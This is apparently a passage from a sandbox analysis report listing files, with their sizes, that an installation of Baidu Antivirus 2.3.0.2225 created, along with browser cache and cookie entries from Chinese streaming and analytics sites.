   %Documents and Settings%\%current user%\Local Settings\Temp\bdt\f2d00606824cd42a1c03eb9caa15e29f.bdt (631 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnSvc.exe (7972 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMTips.rdb (183 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMMsg.dll (49 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_2_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixerXMLScript.dat (2 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (2132 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\BDMSWManagerFrame.dll (3725 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAn.exe (1683 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\{F5E93978-539C-476B-9A7B-B6C32025A557}.png (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\TrayPluginContainerConfig.xml (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMScriptVM.dll (213 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\hips.xml (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMSetting.rdb (85 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\dl.dll (65930 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDDownloader.exe (7972 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\snczjmr.dll.bdl (386923 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDASWAcc.exe (46 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMTinyXml.dll (181 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86 (4 bytes)
   %System%\drivers\bd0001.sys (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDLogicUtils.dll.bdl (46921 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMNet.dll.bdl (32387 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMSOLiveAccStrategyMgr.dll (107 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\res\onlineWnd.zip (14184 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMMainFrame.dll (9606 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SORegCleanerConfig.dat (900 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SWManager.rdb (1812 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_minute_speed.png (15 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\bd0001.sys (70 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMSkin.dll (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\bdt\33f59beac1c942dd19f41a7fd30f3f9b.bdt (647 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\tmpjnmhqw.dll (27504 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (32 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\bdt\68905108990c088c31aead3b6d1651be.bdt (519 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SYSCleaner.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SORegCleanerScript.dat (14 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMUpdate.dll (3729 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOTraceConfig.xml (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\bdt\a644398e96b2e49d735a01f51e447930.bdt (3 bytes)
   %System%\drivers\bd0002.sys (1281 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\uninst.exe (9606 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMCommon.dll (1609 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDCooly.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmpatcherplugins\BDMConnect.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDASoftmgr.exe (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\PluginManager.dll (6359 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerCheckItem.dat (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDAFileHelper.exe (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SiteInspection.rdb (1868 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\kav_compatible.dat (25 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bg_tips_speed_win8.png (4 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_class_filter.db (5442 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOGarbageConfig.xml (14 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\bd0001.sys (601 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\bd0002.sys (218 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SysAccelerator.rdb (1742 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDKitUtils.dll (62 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_repairproperty.dat (2 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\BDMSafePlugin.dll (6420 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\BDMKVMainPlugin.dll (5442 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\virus_type.dat (485 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\MainframePluginContainerConfig.xml (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDMAVEng.dll (6420 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\GCCallbackBind.dll (24 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDMRepMgr.dll (3733 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\licenses\directui license.txt (593 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SusPlugin.rdb (163 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\HotPlugins.xml (386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixerLuaScript.dat (145 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMDownload.dll (324 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\GlobalPluginInfo.xml (25 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_appassext.dat (2 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\blacksign.dat (537 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMProcessRunningTime.dll (82 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMTray\TrayPlugin.rdb (3 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerScript.dat (58 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMBase.dll (5442 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmkvscanplugin\BDMKVScanPluginContainerConfig.xml (380 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMNetMon_WIN7_x86.sys (601 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\KVMain.rdb (55 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Mainpage.rdb (3831 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SafePlugin.rdb (4 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixerConfig.dat (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_5_speed.png (15 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\百度卫士\卸载百度卫士.lnk (796 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Unknownfile.rdb (48 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\websafe\WebSafe.dll (6428 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\CompatibilityChecker.dll (140 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOTraceCleanerConfig.dat (5 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_6_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMTrayTipsPlugin.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmpatcherplugins\BDMPatcher.dll (5442 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDSWShellExt64.dll (3664 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\pluginUnit.dat (727 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMReport.dll.bdl (35046 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BDMSOCleaner\SOTraceConfig.xml (9 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMSOAccTrayPlugin.dll (3733 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMTips.exe (3743 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BaiduAnCache.rptc (552 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\bd0001.sys (160 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmkvscanplugin\BDMKVScanPlugin.dll (3745 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SOManager.rdb (1741 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\homepage.ini (361 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsusplugins\BDMSOAccSusPlugin.dll (3737 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMSOLiveAccDataMgr.dll (168 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bd0002.dll (1749 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMCoolyPlugins\BDMCoolyContainerConfig.xml (465 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_4_speed.png (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\System.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\hu.dll (3312 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\patch\publish.db (30058 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\BDArKit.sys (80 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Patcher.rdb (143 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmpatcherplugins\PatcherContainer.xml (563 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\Pizmdb.7z (188613 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\DriverManager.dll (119 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMSWParseDetect.dll (1613 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\SWCatalogDataItem.xml (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_8_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_7_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMWindowsLib.dll (99 bytes)
   %Documents and Settings%\All Users\Desktop\百度卫士.lnk (811 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\GameNoDisturb.ini (215 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMNet.dll (6392 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\SafePluginContainerConfig.xml (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\sd\BDLogicUtils.dll (3832 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMSOCleanerTrayPlugin.dll (3757 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDAVCache.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\EnhanceBoost.dll (275 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\systemfile.dat (3 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_blank_speed.png (14 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_9_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\Softmgr.rdb (690 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_3_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMSOLiveAccEngine.dll (111 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\BDMNetMon_XP_x86.sys (95 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMReport.dll (5442 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_0_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDEnhanceBoost.sys (96 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\bd0002.sys (205 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\BDMNetMon_WIN7_x64.sys (109 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\GCCommunicate.dll (28 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bd0001.dll (131 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_second_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\licenses\duilib license.txt (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDArKit.sys (601 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDKV.rdb (29 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\bduf.dll (3823 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMFrameWork.dll (271 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\BDMPatcherPlugin.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\RTPPlugins\HIPS.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SYSAccMgrDll.dll (3761 bytes)
   %System%\drivers\BDArKit.sys (601 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmswmanagerplugins\BDMSWManagerView.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDALeakfixer.exe (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMSOManagerPlugins\BDMSOCleanerPlugin.dll (15801 bytes)
   %Documents and Settings%\%current user%\Application Data\Baidu\BDDownload\2015604100\Setting\host.dat (306 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_extlist.dat (3 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMNetMonMgrDll.dll (62 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerConfig.dat (6 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\StartupDict.dat (1783 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\RTPPlugins\RtpContainerConfig.xml (474 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMPatchAgent.dll (37 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery.min[2].js (6467 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\iepngfix_tilebg[2].js (628 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\iepngfix_tilebg[1].js (105 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\selected_page[1].html (719 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery.min[1].js (6022 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\selected_page[1].htm (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\core[1].php (751 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[2].jpg (2563 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\CAJQTKHL.gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[13].jpg (1404 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\openicon[1].png (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\select-normal[1].png (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[2].jpg (554 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[10].jpg (3658 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\banner-kingston-20140815[1].jpg (27043 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\analytics[2].js (3574 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[2].jpg (4640 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (164 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-hack[1].css (265 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[5].jpg (4787 bytes)
   %Documents and Settings%\%current user%\UserData\YJM90VAL\www.fengyunzhibo[1].xml (478 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\fengyunzhibo[1] (1850 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@web.log.kukuplay[1].txt (244 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\CAQJ8FJ8.gif (35 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\nav-bk[1].png (126 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (6220 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\jquery-1.8.3.min[1].js (62713 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\user-icon[1].png (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\gameicon_s[1].png (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\default_avatar_s[1].png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[2].js (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\header-v3[2].css (1361 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\select-deep[1].png (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\fengyunzhibo[1].htm (2358 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\h[1].js (176 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[4].jpg (76 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[4].jpg (1144 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\QQͼƬ20140316001047[1].jpg (30227 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\header-v3[2].js (3255 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[3].jpg (585 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (355 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[1].jpg (1511 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\modernizr.custom.72764[2].js (130 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\analytics[1].js (2827 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\VGXC.tmp (56 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[1].jpg (2274 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\fyminiloader-min[1].js (363 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\DD_belatedPNG_0.0.8a-min[1].js (3814 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\stat[1].gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\box-v3[1].js (3 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@log.kukuplay[2].txt (460 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[9].jpg (4187 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[1].jpg (1731 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\atrk[1].js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\CA8D6JGD.gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[3].js (82 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\lib[1].js (778 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\home-v3[1].png (3808 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\CAXPJNAK.gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\box-v3[2].js (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[4].jpg (3347 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\header-v3[1].css (1106 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\home-v4[1].js (10653 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[3].jpg (5088 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[12].jpg (3048 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-hack[2].css (446 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[1].jpg (1384 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\snapshot-game[3].jpg (1176 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\loading[1].gif (8152 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\home-v4[1].css (2617 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[7].jpg (1974 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[11].jpg (2814 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\zhibo2[1].htm (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[6].jpg (770 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\header-v3-media[1].css (612 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\fystat.min[1].js (25 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@log.kukuplay[1].txt (228 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\sporticon_s[1].png (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\core[1].php (750 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\stat[1].php (4386 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (1186 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[4].jpg (3096 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\c[1].php (1163 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\report[1].gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hm[1].js (387 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\snapshot-game[8].jpg (1977 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\fyminiloader-min[2].js (660 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\home-v3[1].png (15800 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\snapshot-game[5].jpg (789 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\header-v3[1].js (1761 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\h[2].js (817 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\json2[1].js (145 bytes)
